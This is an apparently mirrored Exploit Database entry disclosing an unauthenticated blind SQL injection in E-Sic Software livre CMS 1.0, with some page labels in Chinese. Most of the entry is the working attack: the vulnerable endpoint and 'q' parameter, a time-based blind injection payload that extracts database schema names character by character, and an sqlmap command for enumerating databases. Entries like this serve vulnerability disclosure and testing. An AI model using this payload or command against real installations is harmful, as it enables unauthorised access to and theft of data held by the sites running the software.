E-Sic Software livre CMS – ‘q’ SQL Injection

• Exploit Database
• 37 阅读

• 作者： Guilherme Assmann
  日期： 2017-10-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42979/

• # Exploit Title: E-Sic Software livre CMS - Blind SQL Injection
  # Date: 12/10/2017
  # Exploit Author: Guilherme Assmann
  # Vendor Homepage: https://softwarepublico.gov.br/
  # Version: 1.0
  # Tested on: kali linux, windows 7, 8.1, 10 - Firefox
  # Download https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
  More informations: https://k33r0k.wordpress.com/2017/10/12/e-sic-sql-injection/#more-398
  
  The vulnerability is in the search private area of e-sic without authentication
  ---------------------------------------------------------------------
  Poc:
  Url: http://vulnerable/esiclivre/restrito/inc/lkpcep.php?q=1
  
  Parameter: q (GET)
  
  Payload: 1' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT DISTINCT(HEX(IFNULL(CAST(schema_name AS CHAR),0x20))) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 13,1),11,1))>1,0,5)))))oslN)-- UACx
  
  sqlmap -v 5 -u "http://localhost/esiclivre/restrito/inc/lkpcep.php?q=1" --level 5 --random-agent --hex --dbs